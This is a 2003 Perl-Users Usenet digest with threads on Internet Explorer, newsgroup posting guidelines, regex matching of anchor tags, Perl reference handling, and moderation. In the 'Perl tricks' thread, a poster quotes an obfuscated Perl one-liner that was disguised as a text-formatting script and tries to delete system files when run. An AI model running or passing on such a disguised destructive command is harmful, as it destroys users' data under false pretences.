[23348] in Perl-Users-Digest
Perl-Users Digest, Issue: 5567 Volume: 10
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Fri Sep 26 06:15:51 2003
Date: Fri, 26 Sep 2003 03:15:17 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Fri, 26 Sep 2003 Volume: 10 Number: 5567
Today's topics:
OT: IE, the browser (was Re: favicon.ico and perl) <mbudash@sonic.net>
Re: Perl tricks <ak-n@agk.nnov.ru>
Re: Perl tricks <ak-n@agk.nnov.ru>
Re: Perlish way to get absolute path of current working <abigail@abigail.nl>
Posting Guidelines for comp.lang.perl.misc ($Revision: tadmc@augustmail.com
regexp question + html::parser question on the side (boris bass)
Re: regexp question + html::parser question on the side (Anno Siegel)
Scalar madness (fabre)
Re: Scalar madness <noreply@gunnar.cc>
Re: Scalar madness <dbo@xbn.nl>
Re: Scalar madness (Anno Siegel)
Re: Scalar madness <krahnj@acm.org>
Re: Scalar madness <kuujinbo@hotmail.com>
Someone abusing moderator priveledge? <tom@nosleep.net>
Re: Someone abusing moderator priveledge? <me@privacy.net>
Re: Someone abusing moderator priveledge? <peter@semantico.com>
Re: <bwalton@rochester.rr.com>
Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Fri, 26 Sep 2003 07:34:02 GMT
From: Michael Budash <mbudash@sonic.net>
Subject: OT: IE, the browser (was Re: favicon.ico and perl)
Message-Id: <mbudash-E7B2C0.00340126092003@typhoon.sonic.net>
In article <pan.2003.09.26.07.19.30.225390@hybris.digiserv.net>,
"Ian.H" <ian@WINDOZEdigiserv.net> wrote:
> On Fri, 26 Sep 2003 09:19:58 +0200, Arjen wrote:
>
> > I thouht that especially with
> > IE it should work...
>
>
> IE is _the_ worst browser for anything rational.. it's a horrible piece of
> software to work with, as it tends to render what it assumes should be
> right (which very often isn't) rather than how you actually coded things.
unfortunately, it _is_ the major installed browser. plus, it has [at
least one of] the best DOM implementations, which does matter when
you're doing moderately trick DHTML/CSS.
--
Michael Budash
------------------------------
Date: Fri, 26 Sep 2003 12:03:18 +0400
From: Andrei Koulik <ak-n@agk.nnov.ru>
Subject: Re: Perl tricks
Message-Id: <bl0rsn$6nb39$1@ID-187854.news.uni-berlin.de>
Thank all very much.
Yesterday I have parsed it manually how John W. Krahn does, but from
your replies I have learnt some useful things.
Andrei Koulik wrote:
> Can anybody explain me how this command deletes files:
> perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/"
> -;;s;;$_;see'
>
------------------------------
Date: Fri, 26 Sep 2003 12:43:19 +0400
From: Andrei Koulik <ak-n@agk.nnov.ru>
Subject: Re: Perl tricks
Message-Id: <bl0u79$6piet$1@ID-187854.news.uni-berlin.de>
Jay Tilton wrote:
.....
>
> So were you aware of the code's malicious nature before running it, or
> did something terrible happen?
>
I was asked to debug script for text formation:
cat "test... test... test..." | perl -e
'$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
but I noted neither -n nor -p option is used so I start debug it on
behalf of news user (it doesn't own any files).
But after some steps, lines:
...
rm: /usr/bin/objcopy: Permission denied
rm: /usr/bin/objdump: Permission denied
rm: /usr/bin/ranlib: Permission denied
...
were printed. When I pressed ctrl-c the output is froze but beeping is
started and terminal didn't responsed on any keys.
I didn't knew what happened and so I had to understood what this program
actually does to detect possible injuries.
------------------------------
Date: 26 Sep 2003 08:20:32 GMT
From: Abigail <abigail@abigail.nl>
Subject: Re: Perlish way to get absolute path of current working directory?
Message-Id: <slrnbn7tmg.53d.abigail@alexandra.abigail.nl>
David K. Wall (usenet@dwall.fastmail.fm) wrote on MMMDCLXXVIII September
MCMXCIII in <URL:news:Xns9401EDA4A9AFDdkwwashere@216.168.3.30>:
`' "Jürgen Exner" <jurgenex@hotmail.com> wrote:
`'
`' > Bob Walton wrote:
`' >> Is there a Perlish non-OS-dependent way to get the absolute path of
`' >> the current working directory of a Perl program?
`' >
`' > Has been answered several times in the last two days:
`' >
`' > perldoc Cwd
`' >
`'
`' Ok. Why not FindBin?
Because FindBin find the location of the original Perl script, while
gets the pathname of the current working directory.
The latter was asked for, the former wasn't.
Abigail
--
perl -wle 'eval {die ["Just another Perl Hacker"]}; print ${$@}[$#{@${@}}]'
------------------------------
Date: Fri, 26 Sep 2003 02:22:42 -0500
From: tadmc@augustmail.com
Subject: Posting Guidelines for comp.lang.perl.misc ($Revision: 1.4 $)
Message-Id: <9wOdnUlTnZXfdO6iXTWJkQ@august.net>
Outline
Before posting to comp.lang.perl.misc
Must
- Check the Perl Frequently Asked Questions (FAQ)
- Check the other standard Perl docs (*.pod)
Really Really Should
- Lurk for a while before posting
- Search a Usenet archive
If You Like
- Check Other Resources
Posting to comp.lang.perl.misc
Is there a better place to ask your question?
- Question should be about Perl, not about the application area
How to participate (post) in the clpmisc community
- Carefully choose the contents of your Subject header
- Use an effective followup style
- Speak Perl rather than English, when possible
- Ask perl to help you
- Do not re-type Perl code
- Provide enough information
- Do not provide too much information
- Do not post binaries, HTML, or MIME
Social faux pas to avoid
- Asking a Frequently Asked Question
- Asking a question easily answered by a cursory doc search
- Asking for emailed answers
- Beware of saying "doesn't work"
- Sending a "stealth" Cc copy
Be extra cautious when you get upset
- Count to ten before composing a followup when you are upset
- Count to ten after composing and before posting when you are upset
-----------------------------------------------------------------
Posting Guidelines for comp.lang.perl.misc ($Revision: 1.4 $)
This newsgroup, commonly called clpmisc, is a technical newsgroup
intended to be used for discussion of Perl related issues (except job
postings), whether it be comments or questions.
As you would expect, clpmisc discussions are usually very technical in
nature and there are conventions for conduct in technical newsgroups
going somewhat beyond those in non-technical newsgroups.
This article describes things that you should, and should not, do to
increase your chances of getting an answer to your Perl question. It is
available in POD, HTML and plain text formats at:
http://mail.augustmail.com/~tadmc/clpmisc.shtml
For more information about netiquette in general, see the "Netiquette
Guidelines" at:
http://andrew2.andrew.cmu.edu/rfc/rfc1855.html
A note to newsgroup "regulars":
Do not use these guidelines as a "license to flame" or other
meanness. It is possible that a poster is unaware of things
discussed here. Give them the benefit of the doubt, and just
help them learn how to post, rather than assume
A note about technical terms used here:
In this document, we use words like "must" and "should" as
they're used in technical conversation (such as you will
encounter in this newsgroup). When we say that you *must* do
something, we mean that if you don't do that something, then
it's unlikely that you will benefit much from this group.
We're not bossing you around; we're making the point without
lots of words.
Do *NOT* send email to the maintainer of these guidelines. It will be
discarded unread. The guidelines belong to the newsgroup so all
discussion should appear in the newsgroup. I am just the secretary that
writes down the consensus of the group.
Before posting to comp.lang.perl.misc
Must
This section describes things that you *must* do before posting to
clpmisc, in order to maximize your chances of getting meaningful replies
to your inquiry and to avoid getting flamed for being lazy and trying to
have others do your work.
The perl distribution includes documentation that is copied to your hard
drive when you install perl. Also installed is a program for looking
things up in that (and other) documentation named 'perldoc'.
You should either find out where the docs got installed on your system,
or use perldoc to find them for you. Type "perldoc perldoc" to learn how
to use perldoc itself. Type "perldoc perl" to start reading Perl's
standard documentation.
Check the Perl Frequently Asked Questions (FAQ)
Checking the FAQ before posting is required in Big 8 newsgroups in
general, there is nothing clpmisc-specific about this requirement.
You are expected to do this in nearly all newsgroups.
You can use the "-q" switch with perldoc to do a word search of the
questions in the Perl FAQs.
Check the other standard Perl docs (*.pod)
The perl distribution comes with much more documentation than is
available for most other newsgroups, so in clpmisc you should also
see if you can find an answer in the other (non-FAQ) standard docs
before posting.
It is *not* required, or even expected, that you actually *read* all of
Perl's standard docs, only that you spend a few minutes searching them
before posting.
Try doing a word-search in the standard docs for some words/phrases
taken from your problem statement or from your very carefully worded
"Subject:" header.
Really Really Should
This section describes things that you *really should* do before posting
to clpmisc.
Lurk for a while before posting
This is very important and expected in all newsgroups. Lurking means
to monitor a newsgroup for a period to become familiar with local
customs. Each newsgroup has specific customs and rituals. Knowing
these before you participate will help avoid embarrassing social
situations. Consider yourself to be a foreigner at first!
Search a Usenet archive
There are tens of thousands of Perl programmers. It is very likely
that your question has already been asked (and answered). See if you
can find where it has already been answered.
One such searchable archive is:
http://groups.google.com/advanced_group_search
If You Like
This section describes things that you *can* do before posting to
clpmisc.
Check Other Resources
You may want to check in books or on web sites to see if you can
find the answer to your question.
But you need to consider the source of such information: there are a
lot of very poor Perl books and web sites, and several good ones
too, of course.
Posting to comp.lang.perl.misc
There can be 200 messages in clpmisc in a single day. Nobody is going to
read every article. They must decide somehow which articles they are
going to read, and which they will skip.
Your post is in competition with 199 other posts. You need to "win"
before a person who can help you will even read your question.
These sections describe how you can help keep your article from being
one of the "skipped" ones.
Is there a better place to ask your question?
Question should be about Perl, not about the application area
It can be difficult to separate out where your problem really is,
but you should make a conscious effort to post to the most
applicable newsgroup. That is, after all, where you are the most
likely to find the people who know how to answer your question.
Being able to "partition" a problem is an essential skill for
effectively troubleshooting programming problems. If you don't get
that right, you end up looking for answers in the wrong places.
It should be understood that you may not know that the root of your
problem is not Perl-related (the two most frequent ones are CGI and
Operating System related), so off-topic postings will happen from
time to time. Be gracious when someone helps you find a better place
to ask your question by pointing you to a more applicable newsgroup.
How to participate (post) in the clpmisc community
Carefully choose the contents of your Subject header
You have 40 precious characters of Subject to win out and be one of
the posts that gets read. Don't waste them. Take care while
composing them, they are the key that opens the door to getting an
answer.
Spend them indicating what aspect of Perl others will find if they
should decide to read your article.
Do not spend them indicating "experience level" (guru, newbie...).
Do not spend them pleading (please read, urgent, help!...).
Do not spend them on non-Subjects (Perl question, one-word
Subject...)
For more information on choosing a Subject see "Choosing Good
Subject Lines":
http://www.cpan.org/authors/id/D/DM/DMR/subjects.post
Part of the beauty of newsgroup dynamics, is that you can contribute
to the community with your very first post! If your choice of
Subject leads a fellow Perler to find the thread you are starting,
then even asking a question helps us all.
Use an effective followup style
When composing a followup, quote only enough text to establish the
context for the comments that you will add. Always indicate who
wrote the quoted material. Never quote an entire article. Never
quote a .signature (unless that is what you are commenting on).
Intersperse your comments *following* each section of quoted text to
which they relate. Unappreciated followup styles are referred to as
"Jeopardy" (because the answer comes before the question), or
"TOFU".
Reversing the chronology of the dialog makes it much harder to
understand (some folks won't even read it if written in that style).
For more information on quoting style, see:
http://web.presby.edu/~nnqadmin/nnq/nquote.html
Speak Perl rather than English, when possible
Perl is much more precise than natural language. Saying it in Perl
instead will avoid misunderstanding your question or problem.
Do not say: I have variable with "foo\tbar" in it.
Instead say: I have $var = "foo\tbar", or I have $var = 'foo\tbar',
or I have $var = <DATA> (and show the data line).
Ask perl to help you
You can ask perl itself to help you find common programming mistakes
by doing two things: enable warnings (perldoc warnings) and enable
"strict"ures (perldoc strict).
You should not bother the hundreds/thousands of readers of the
newsgroup without first seeing if a machine can help you find your
problem. It is demeaning to be asked to do the work of a machine. It
will annoy the readers of your article.
You can look up any of the messages that perl might issue to find
out what the message means and how to resolve the potential mistake
(perldoc perldiag). If you would like perl to look them up for you,
you can put "use diagnostics;" near the top of your program.
Do not re-type Perl code
Use copy/paste or your editor's "import" function rather than
attempting to type in your code. If you make a typo you will get
followups about your typos instead of about the question you are
trying to get answered.
Provide enough information
If you do the things in this item, you will have an Extremely Good
chance of getting people to try and help you with your problem!
These features are a really big bonus toward your question winning
out over all of the other posts that you are competing with.
First make a short (less than 20-30 lines) and *complete* program
that illustrates the problem you are having. People should be able
to run your program by copy/pasting the code from your article. (You
will find that doing this step very often reveals your problem
directly. Leading to an answer much more quickly and reliably than
posting to Usenet.)
Describe *precisely* the input to your program. Also provide example
input data for your program. If you need to show file input, use the
__DATA__ token (perldata.pod) to provide the file contents inside of
your Perl program.
Show the output (including the verbatim text of any messages) of
your program.
Describe how you want the output to be different from what you are
getting.
If you have no idea at all of how to code up your situation, be sure
to at least describe the 2 things that you *do* know: input and
desired output.
Do not provide too much information
Do not just post your entire program for debugging. Most especially
do not post someone *else's* entire program.
Do not post binaries, HTML, or MIME
clpmisc is a text only newsgroup. If you have images or binaries
that explain your question, put them in a publically accessible
place (like a Web server) and provide a pointer to that location. If
you include code, cut and paste it directly in the message body.
Don't attach anything to the message. Don't post vcards or HTML.
Many people (and even some Usenet servers) will automatically filter
out such messages. Many people will not be able to easily read your
post. Plain text is something everyone can read.
Social faux pas to avoid
The first two below are symptoms of lots of FAQ asking here in clpmisc.
It happens so often that folks will assume that it is happening yet
again. If you have looked but not found, or found but didn't understand
the docs, say so in your article.
Asking a Frequently Asked Question
It should be understood that you may have missed the applicable FAQ
when you checked, which is not a big deal. But if the Frequently
Asked Question is worded similar to your question, folks will assume
that you did not look at all. Don't become indignant at pointers to
the FAQ, particularly if it solves your problem.
Asking a question easily answered by a cursory doc search
If folks think you have not even tried the obvious step of reading
the docs applicable to your problem, they are likely to become
annoyed.
If you are flamed for not checking when you *did* check, then just
shrug it off (and take the answer that you got).
Asking for emailed answers
Emailed answers benefit one person. Posted answers benefit the
entire community. If folks can take the time to answer your
question, then you can take the time to go get the answer in the
same place where you asked the question.
It is OK to ask for a *copy* of the answer to be emailed, but many
will ignore such requests anyway. If you munge your address, you
should never expect (or ask) to get email in response to a Usenet
post.
Ask the question here, get the answer here (maybe).
Beware of saying "doesn't work"
This is a "red flag" phrase. If you find yourself writing that,
pause and see if you can't describe what is not working without
saying "doesn't work". That is, describe how it is not what you
want.
Sending a "stealth" Cc copy
A "stealth Cc" is when you both email and post a reply without
indicating *in the body* that you are doing so.
Be extra cautious when you get upset
Count to ten before composing a followup when you are upset
This is recommended in all Usenet newsgroups. Here in clpmisc, most
flaming sub-threads are not about any feature of Perl at all! They
are most often for what was seen as a breach of netiquette. If you
have lurked for a bit, then you will know what is expected and won't
make such posts in the first place.
But if you get upset, wait a while before writing your followup. I
recommend waiting at least 30 minutes.
Count to ten after composing and before posting when you are upset
After you have written your followup, wait *another* 30 minutes
before committing yourself by posting it. You cannot take it back
once it has been said.
AUTHOR
Tad McClellan <tadmc@augustmail.com> and many others on the
comp.lang.perl.misc newsgroup.
------------------------------
Date: 26 Sep 2003 02:11:01 -0700
From: bbass@hotmail.com (boris bass)
Subject: regexp question + html::parser question on the side
Message-Id: <65fcb898.0309260111.4c8942f1@posting.google.com>
i am trying to scan the html file for all the anchor tags and the
following regex
while ( $content =~ /<\s*a\s+.*?>/s )
doesn't seem to work , what is wrong here?
angle brackets don't need to be escaped, do they?
obviously, the string i am trying to match is
<a href="something">
but i get no match
ps. this could probably be done via HTML::Parser module and not
through the regular expressions.
the task i am trying to accomplish: find
<a href="something">
and change it to
<a href="">
i.e. delete a link to whatever and leave an empty string in place of
it.
if somebody could post a code snippet how to do it would also be
appreciated. doesn't have to be tested, just to point me at the right
direction. i looked at html::parser doc page, but i haven't figured it
out on my own
thanks,
boris
------------------------------
Date: 26 Sep 2003 09:51:57 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: regexp question + html::parser question on the side
Message-Id: <bl127t$shb$2@mamenchi.zrz.TU-Berlin.DE>
boris bass <bbass@hotmail.com> wrote in comp.lang.perl.misc:
> i am trying to scan the html file for all the anchor tags and the
> following regex
>
>
> while ( $content =~ /<\s*a\s+.*?>/s )
>
>
> doesn't seem to work , what is wrong here?
>
> angle brackets don't need to be escaped, do they?
>
> obviously, the string i am trying to match is
>
> <a href="something">
>
> but i get no match
I do. *shrug*
> ps. this could probably be done via HTML::Parser module and not
> through the regular expressions.
Yes.
Anno
------------------------------
Date: Fri, 26 Sep 2003 09:42:50 +0100
From: pedro.fabre.NO-SPAM@gen.gu.se (fabre)
Subject: Scalar madness
Message-Id: <pedro.fabre.NO-SPAM-2609030942500001@192.168.0.5>
Hi once again!
Yes I must be stupid, but I have problems passing references between subs.
#!/usr/loca/bin/perl -w
use Strict;
my @arr=(0, 1, 2);
numbers(\@arr);
sub numbers{
my ($arr)=@_;
for my $i(0..$#arr){
for my $j(0..$#arr){
# just checking!
print $arr[$i],"\t",$arr[$j],"\n";
another_sub(\@arr,\$i,\$j);
}
}
}
sub another_sub{
my($arr,$i,$j)=@_;
print "another sub\t: arr = @arr\t$i\t$j\n"; # WRONG!!!
}
exit;
and the result is:
0 0
another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
0 1
another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
0 2
another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
1 0
another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0xf304)
1 1
another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0xf304)
1 2
another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0xf304)
2 0
another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
2 1
another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
2 2
another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
Why I can not get the value of $i and $j? How do I get them?
Any advise?
P
------------------------------
Date: Fri, 26 Sep 2003 11:28:13 +0200
From: Gunnar Hjalmarsson <noreply@gunnar.cc>
Subject: Re: Scalar madness
Message-Id: <bl10su$6mg8k$1@ID-184292.news.uni-berlin.de>
fabre wrote:
> Yes I must be stupid, but I have problems passing references
> between subs.
You rather seem to not have understood how to use references once passed.
perldoc perlreftut
http://www.perldoc.com/perl5.8.0/pod/perlreftut.html
I modified your code to do what you probably wanted it to do:
#!/usr/loca/bin/perl -w
use strict; # note case
my @array=(0, 1, 2); # I changed name from @arr to
numbers(\@array); # @array to prevent that you
# unintentionally use the original
# array rather than the passed
# reference
sub numbers{
my ($arr)=@_; # $arr is an array reference that
# needs to be dereferenced
for my $i(0..$#$arr){
for my $j(0..$#$arr){
# just checking!
print $arr->[$i],"\t",$arr->[$j],"\n";
another_sub($arr,\$i,\$j);
}
}
}
sub another_sub{
my($arr,$i,$j)=@_;
print "another sub\t: arr = @$arr\t$$i\t$$j\n";
}
Hope that helps.
--
Gunnar Hjalmarsson
Email: http://www.gunnar.cc/cgi-bin/contact.pl
------------------------------
Date: Fri, 26 Sep 2003 11:32:57 +0200
From: David Bouman <dbo@xbn.nl>
Subject: Re: Scalar madness
Message-Id: <3F7407C9.8254BF36@xbn.nl>
fabre wrote:
> I have problems passing references between subs.
>
> #!/usr/loca/bin/perl -w
>
> use Strict;
>
> my @arr=(0, 1, 2);
>
> numbers(\@arr);
>
> sub numbers{
> my ($arr)=@_;
> ... rest of code snipped ...
> }
>
> sub another_sub{
> my($arr,$i,$j)=@_;
> print "another sub\t: arr = @arr\t$i\t$j\n"; # WRONG!!!
> }
> exit;
Try using a different name for the arr's in your subs
(``localarr'' will do fine for instance) and see what happens.
That will probably provide you with some insight (I hope).
--
D.
------------------------------
Date: 26 Sep 2003 09:33:35 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Scalar madness
Message-Id: <bl115f$shb$1@mamenchi.zrz.TU-Berlin.DE>
fabre <pedro.fabre.NO-SPAM@gen.gu.se> wrote in comp.lang.perl.misc:
> Hi once again!
>
>
> Yes I must be stupid, but I have problems passing references between subs.
>
> #!/usr/loca/bin/perl -w
>
> use Strict;
>
> my @arr=(0, 1, 2);
>
> numbers(\@arr);
>
> sub numbers{
> my ($arr)=@_;
Okay, so you assign the arrayref to the scalar variable $arr.
> for my $i(0..$#arr){
Here, $#arr refers to the array variable @arr. It has nothing to do with
$arr you declared a line above. Instead, it refers to the lexical variable
declared outside of the sub. This is rarely a good idea, and I doubt
it is what you intend here.
> for my $j(0..$#arr){
Same here.
> # just checking!
> print $arr[$i],"\t",$arr[$j],"\n";
> another_sub(\@arr,\$i,\$j);
...and in the last two lines. Another question is why you are taking
references to the scalar variables in the call to another_sub().
> }
> }
> }
>
> sub another_sub{
> my($arr,$i,$j)=@_;
> print "another sub\t: arr = @arr\t$i\t$j\n"; # WRONG!!!
Well, when you feed references into $i and $j you must de-reference
them before use.
> }
> exit;
>
>
> and the result is:
>
> 0 0
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
> 0 1
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
> 0 2
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
> 1 0
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0xf304)
> 1 1
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0xf304)
> 1 2
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0xf304)
> 2 0
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
> 2 1
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
> 2 2
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
>
>
> Why I can not get the value of $i and $j? How do I get them?
Leave off the reference operators before $i and $j "\" in the call.
What made you think you need them?
But there is more wrong with the two routines than that. Before
you work with references, you need to understand Perl variables.
In particular, you must understand that a scalar ($arr) and an
array (@arr) have nothing to do with another. These relationships
are explained in perldata.
Anno
------------------------------
Date: Fri, 26 Sep 2003 09:40:56 GMT
From: "John W. Krahn" <krahnj@acm.org>
Subject: Re: Scalar madness
Message-Id: <3F740987.E4680BCB@acm.org>
fabre wrote:
>
> Yes I must be stupid, but I have problems passing references between subs.
>
> #!/usr/loca/bin/perl -w
>
> use Strict;
Case is significant in perl. That should be:
use strict;
> my @arr=(0, 1, 2);
>
> numbers(\@arr);
>
> sub numbers{
> my ($arr)=@_;
>
> for my $i(0..$#arr){
> for my $j(0..$#arr){
> # just checking!
> print $arr[$i],"\t",$arr[$j],"\n";
> another_sub(\@arr,\$i,\$j);
You are accessing the @arr variable declared earlier in file scope. Try
running your program with the lines "my @arr=(0, 1, 2);" and
"numbers(\@arr);" AFTER the sub declarations. $arr contains a reference
to @arr. To access @arr through $arr you need to dereference it.
for my $i ( 0 .. $#$arr ) {
for my $j ( 0 .. $#$arr ) {
# just checking!
print "$arr->[$i]\t$arr->[$j]\n";
another_sub( $arr, \$i, \$j );
> }
> }
> }
>
> sub another_sub{
> my($arr,$i,$j)=@_;
> print "another sub\t: arr = @arr\t$i\t$j\n"; # WRONG!!!
Again, you need to dereference the references that are passed to the
sub.
print "another sub\t: arr = @$arr\t$$i\t$$j\n";
> }
> exit;
>
> and the result is:
>
> 0 0
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
> [snip]
> 2 2
> another sub : arr = 0 1 2 SCALAR(0x16fe8) SCALAR(0x5338)
>
> Why I can not get the value of $i and $j? How do I get them?
Those are the values of $i and $j. That is what references look like
when you print them out.
> Any advise?
perldoc perlreftut
perldoc perlref
perldoc perlsub
John
--
use Perl;
program
fulfillment
------------------------------
Date: Fri, 26 Sep 2003 18:32:25 +0900
From: ko <kuujinbo@hotmail.com>
Subject: Re: Scalar madness
Message-Id: <bl116e$5lu$1@pin3.tky.plala.or.jp>
fabre wrote:
> Hi once again!
>
>
> Yes I must be stupid, but I have problems passing references between subs.
>
> #!/usr/loca/bin/perl -w
>
> use Strict;
>
> my @arr=(0, 1, 2);
>
> numbers(\@arr);
>
> sub numbers{
> my ($arr)=@_;
>
> for my $i(0..$#arr){
> for my $j(0..$#arr){
> # just checking!
> print $arr[$i],"\t",$arr[$j],"\n";
> another_sub(\@arr,\$i,\$j);
^^^^^^^^
Not sure what you're trying to do, but you're passing references to
'another_sub'. That's the reason for the 'SCALAR(...)' in your output.
HTH - keith
------------------------------
Date: Fri, 26 Sep 2003 00:08:50 -0700
From: "Tom" <tom@nosleep.net>
Subject: Someone abusing moderator priveledge?
Message-Id: <3f73e543@nntp0.pdx.net>
I answered someone's post in comp.lang.perl.moderated and I followed the
guidlines.
However, my post was not posted.
I think one of the local cops in this group might be overstepping his
boundaries and not posting my posts because of disagreements here.
I'm certainly going to write to the proper people and find out, because if
my posts follow the rules and it is purely personal, I'm going to see to it
that priveledge is revoked.
I might be wrong, but I'm going to find out.
------------------------------
Date: Fri, 26 Sep 2003 20:40:04 +1200
From: "Tintin" <me@privacy.net>
Subject: Re: Someone abusing moderator priveledge?
Message-Id: <bl0tul$6psos$1@ID-172104.news.uni-berlin.de>
"Tom" <tom@nosleep.net> wrote in message news:3f73e543@nntp0.pdx.net...
> I answered someone's post in comp.lang.perl.moderated and I followed the
> guidlines.
> However, my post was not posted.
> I think one of the local cops in this group might be overstepping his
> boundaries and not posting my posts because of disagreements here.
> I'm certainly going to write to the proper people and find out, because if
> my posts follow the rules and it is purely personal, I'm going to see to
it
> that priveledge is revoked.
> I might be wrong, but I'm going to find out.
You are wrong.
You need to learn how Usenet works before coming to half baked conspiracy
theories.
------------------------------
Date: Fri, 26 Sep 2003 10:22:06 +0100
From: Peter Hickman <peter@semantico.com>
Subject: Re: Someone abusing moderator priveledge?
Message-Id: <3f74053e$0$24112$afc38c87@news.easynet.co.uk>
Tom wrote:
> I think one of the local cops in this group might be overstepping his
> boundaries and not posting my posts because of disagreements here.
Do you honestly think that you are that important that people waste their time
keeping track of you?
You are delusional.
------------------------------
Date: Sat, 19 Jul 2003 01:59:56 GMT
From: Bob Walton <bwalton@rochester.rr.com>
Subject: Re:
Message-Id: <3F18A600.3040306@rochester.rr.com>
Ron wrote:
> Tried this code get a server 500 error.
>
> Anyone know what's wrong with it?
>
> if $DayName eq "Select a Day" or $RouteName eq "Select A Route") {
(---^
> dienice("Please use the back button on your browser to fill out the Day
> & Route fields.");
> }
...
> Ron
...
--
Bob Walton
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
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------------------------------
End of Perl-Users Digest V10 Issue 5567
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